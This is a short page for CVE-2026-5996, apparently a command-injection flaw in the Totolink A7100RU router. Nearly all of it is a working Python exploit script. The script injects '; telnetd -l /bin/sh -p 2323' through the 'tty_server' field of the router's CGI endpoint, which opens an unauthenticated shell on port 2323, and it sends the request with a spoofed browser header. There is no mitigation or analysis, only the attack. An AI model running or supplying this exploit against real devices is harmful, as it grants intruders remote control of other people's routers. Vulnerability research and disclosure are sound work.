CVE-2026-5996 Totolink A7100RU命令注入漏洞

import requests def exploit(target_ip): # Target URL of the vulnerable CGI endpoint url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers mimicking a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Vulnerable payload: Injecting a command to enable telnet # The 'function' parameter triggers the specific handler # The 'tty_server' parameter is the injection point # Payload: ;telnetd -p 2323 (starts a telnet daemon on port 2323) data = { "function": "setAdvancedInfoShow", "tty_server": "; telnetd -l /bin/sh -p 2323" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.1.1" exploit(target)